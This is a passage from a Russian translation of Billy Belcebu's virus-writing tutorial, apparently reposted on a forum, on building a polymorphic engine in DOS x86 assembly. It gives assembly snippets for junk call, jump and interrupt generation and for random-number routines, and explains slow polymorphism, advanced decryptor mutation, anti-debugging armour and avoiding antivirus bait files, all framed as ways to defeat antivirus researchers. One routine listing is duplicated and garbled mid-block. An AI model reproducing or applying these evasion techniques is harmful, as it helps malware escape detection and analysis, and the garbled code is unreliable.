  9.         stosb                           ; Делаем нулевой переход
  10.         ret

Это не лучшее pешение, но... pаботает! :smile3:

_ Вызовы:

Hесколько сложнее, чем в случае с инструкциями перехода. Если мы будем помещать вызовы также, как мы помещали переходы, то компьютер повиснет (естественно!). Это происходит, потому что когда мы делаем вызов, смещение PUSHится в стек, а ret возвратится на смещение, следующее непосредственно за вызовом. Поэтому, если мы будем просто помещать вызов, наш код будет бесполезен. Есть два пути избежать этого. Давайте я объясню первый: мы делаем вызов по определенному смещению, затем мы делаем переход, который обходит вызов (ладно, не сам вызов, а чертов ret!), а после jmр располагаем саму процедуру с ret'ом, вот и все! Это будет выглядеть примерно так:

Код (Text):
  1.  
  2.         [...]
  3.         call    shit -------+
  4.         [...]   <-----------¦--+
  5.         jmp     avoid_shit -¦--¦--+
  6.         [...]               ¦  ¦  ¦
  7.  shit:          <-----------+  ¦  ¦
  8.         [...]                  ¦  ¦
  9.         ret     ---------------+  ¦
  10.         [...]                     ¦
  11.  avoid_shit:    <-----------------+
  12.         [...]

Возможно, второй путь покажется вам более легким. Хорошо, я объясню его вам :smile3:.

Мы должны сделать переход к вызову, потом сгенерировать опкоды процедуры с ret'ом, а теперь (и в дальнейшем) мы можем вызвать код процедуры. Давайте посмотрим:

Код (Text):
  1.  
  2.         [...]
  3.         jmp     avoid_shit -+
  4.         [...]               ¦
  5.  shit:          <-----------¦--+
  6.         [...]               ¦  ¦
  7.         ret     ------------¦--¦--+
  8.         [...]               ¦  ¦  ¦
  9.  avoid_shit:    <-----------+  ¦  ¦
  10.         [...]                  ¦  ¦
  11.         call    shit ----------+  ¦
  12.         [...]   <-----------------+

Вызовы прерываний

Это ОЧЕHЬ просто, поверьте мне. Мы можем вызывать эти прерывания когда угодно, они просто ничего не делают. Давайте взглянем на небольшой список:

Код (Text):
  1.  
  2.  INT 01h . CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS
  3.  INT 08h . IRQ0 - SYSTEM TIMER; CPU-generated (80286+)
  4.  INT 0Ah . IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+)
  5.  INT 0Bh . IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+)
  6.  INT 0Ch . IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+)
  7.  INT 0Dh . IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+)
  8.  INT 0Eh . IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+)
  9.  INT 0Fh . IRQ7 - PARALLEL PRINTER
  10.  INT 1Ch . TIME - SYSTEM TIMER TICK
  11.  INT 28h . DOS 2+ - DOS IDLE INTERRUPT
  12.  INT 2Bh . DOS 2+ - RESERVED
  13.  INT 2Ch . DOS 2+ - RESERVED
  14.  INT 2Dh . DOS 2+ - RESERVED
  15.  INT 70h . IRQ8 - CMOS REAL-TIME CLOCK
  16.  INT 71h . IRQ9 - REDIRECTED TO INT 0A BY BIOS
  17.  INT 72h . IRQ10 - RESERVED
  18.  INT 73h . IRQ11 - RESERVED
  19.  INT 74h . IRQ12 - POINTING DEVICE (PS)
  20.  INT 75h . IRQ13 - MATH COPROCESSOR EXCEPTION (AT and up)
  21.  INT 76h . IRQ14 - HARD DISK CONTROLLER (AT and later)
  22.  INT 77h . IRQ15 - RESERVED (AT,PS); POWER CONSERVATION (Compaq)

Это прерывания, которые вы можете вызывать без всяких проблем. Я рекомендую вам построить таблицу с номерами этих прерываний, чтобы сделать процедуру, которая будет генерировать нужные опкоды. ЭЙ! Я забыл! Опкод INT - CD, за которым следует номер прерывания (размером в байт).

Другой очень хороший выбор - это делать вызовы ничего не делающих функций INT 21h/INT 10h/INT 16h. Давайте взглянем на некоторые из таких функций INT 21h:

Код (Text):
  1.  
  2.  AH=0Bh   . Read entry state
  3.  AH=0Dh   . Flush buffers
  4.  AH=19h   . Get current drive
  5.  AH=2Ah   . Get current date
  6.  AH=2Ch   . Get current time
  7.  AH=30h   . Get dos version number
  8.  AH=4Dh   . Get error code
  9.  AH=51h   . Get active psp
  10.  AH=62h   . Get active psp
  11.  
  12.  AX=3300h . Get break-flag
  13.  AX=3700h . Get line-command separator
  14.  AX=5800h . Get mem concept
  15.  AX=5802h . Get umb insert

Я думаю, достаточно понятно, как это закодировать. Сгенерировать 'MOV AH/AX, значение' и INT 21h нетрудно. Просто сделайте это! :smile3:

Генератор случайных чисел

Это одна из наиболее важных частей вашей PER. Простейший путь получить случайное число - это сделать вызов 40h-го порта и посмотреть, что он вернул. Давайте взглянем на код:

Код (Text):
  1.  
  2.  random:
  3.         in      ax,40h
  4.         in      al,40h
  5.         ret

Мы также можем использовать INT 1Ah или что-нибудь еще, возвращающее разные числа каждый раз. Если мы хотим число в определенном диапазоне, мы можем использовать инструкцию AND. Давайте взглянем на простейшую процедуру:

Код (Text):
  1.  
  2.  random_in_range:
  3.         push    bx
  4.         xchg    ax,bx
  5.         call    random
  6.         and     ax,bx
  7.         pop     bx
  8.         ret

Она возвращает число в диапазоне между 0 и AX-1. Еще один путь получать числа в заданном диапазоне - это использовать деление. Помните, что делает деление? Обратите внимание на остаток, который никогда не может быть больше (или pавным) делителя. Поэтому остаток будет находиться в диапазоне между 0 и делитель-1.

Код (Text):
  1.  
  2.  random_in_range:
  3.         push    bx dx
  4.         xchg    ax,bx
  5.         call    random
  6.         xor     dx,dx
  7.   random_in_range:
  8.         push    bx dx
  9.         xchg    ax,bx
  10.         call    random
  11.         xor     dx,dx
  12.         div     bx
  13.         xchg    ax,dx
  14.         pop     dx bx
  15.         ret

Достаточно просто. Генерация случайных чисел понадобится нам в следующей главе о медленном полиморфизме.

Медленный полиморфизм

Если вы знали бы, как эта техника напрягает AVеров, то могли бы подумать, что она очень сложна. Hет. Авторы первых полиморфных движков думали, что лучший путь натянуть AVеров - это сделать декрпторы очень изменчивыми в каждом поколении. Это работало для первых PER'ов, но затем AVеры обнаружили, что если заразить тысячи наживок полиморфным вирусом, можно отследить все возможные мутации и выделить сканстроку, которую можно добавить в базу антивируса. Hо... что произойдет, если мы сделаем мутацию декриптора очень медленной? Тогда на свет появится медленный полиморфизм. Да, с помощью этой простой идеи, которая на первый взгляд может показаться полным отстоем, мы можем заставить AVеров сходить с ума. Главное, что нам понадобится при реализации медленного полиморфизма - это генератор случайных чисел.

Код (Text):
  1.  
  2.  random_range:
  3.         push    bx cx dx
  4.         xchg    ax,bx
  5.         mov     ax,2C00h
  6.         int     21h
  7.         xchg    ax,dx
  8.         xor     ax,0FFFFh
  9.         xor     dx,dx
  10.         div     bx
  11.         xchg    ax,dx
  12.         pop     dx cx bx
  13.         ret

С помощью продецуры вроде вышеприведенной ваш PER станет на 100 медленномполиморфичным. Я надеюсь, что все это достаточно понятно.

Вместо данной методики вы можете сделать счетчик, который будет избегать мутирования на протяжении длительного периода времени, но лично я предпочитаю вышеизложенную технику для реализации медленного полиморфизма.

Продвинутый полиморфизм

Вы переходите к продвинутому полиморфизму. Вы должны попытаться генерировать похожие на настоящие вызовы подпрограмм, прерываний, поиграться с уже известными значениями, сделать сравнения, за которыми следуют условные переходы и все, что вы можете придумать. Вы должны всегда улучшать изменчивость вашего полидвижка: если он медленен и очень изменчив, AVеры обломаются. Представьте возможности: вы можете закриптовать ваш код сверху до низу и обратно, использовать si, di, bx и все, что вы захотите в качестве счетчика, вы можете добавить генератор длинных процедур, например против отладки (neg sр/neg sр, not sр/not sр...), сделать декриптор в середине вируса (или файла), декриптор на INT 1 (чертовски классный прием!), делать ни на что не влияющие перестановки в памяти, использовать то операнды размером в слово, то размеров в байт, комбинировать их, заменять их...

То есть, вы должны узнать подробнее о еще более продвинутых техниках полиморфизма. Есть несколько интересных публикаций по этому поводу, например от Methyl'а (aka Owl[FS]).

Заключительные слова о полиморфизме

Hо реальный мир жесток, AVеры попытаются найти все наши возможные декрипторы, дизассемблировав наш прекрасный медленный полиморфный движок.

И тут, чтобы спасти наши задницы, в дело вступает броня. Мы должны максимальным образом защитить наш PER специальной шифрующей процедурой (а декриптор должен быть очень хорошо защищен от отладки). Так как у них не будет достаточного времени дизассемблировать движок, они не смогут увидеть все, что он может сделать :smile3:. У вас есть хороший выбор антиотладочных техник в соответствующей главе. Поэтому AVеры сконцентрируются на наживках, а посему мы должны избежать заражения этих бессмысленных файлов (об этом будет pассказано в главе "Антинаживка".

Я хочу увидеть ваши PER'ы, рулящие в этом мире! :smile3: © Billy Belcebu, пер. Aquila


0 1.531
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532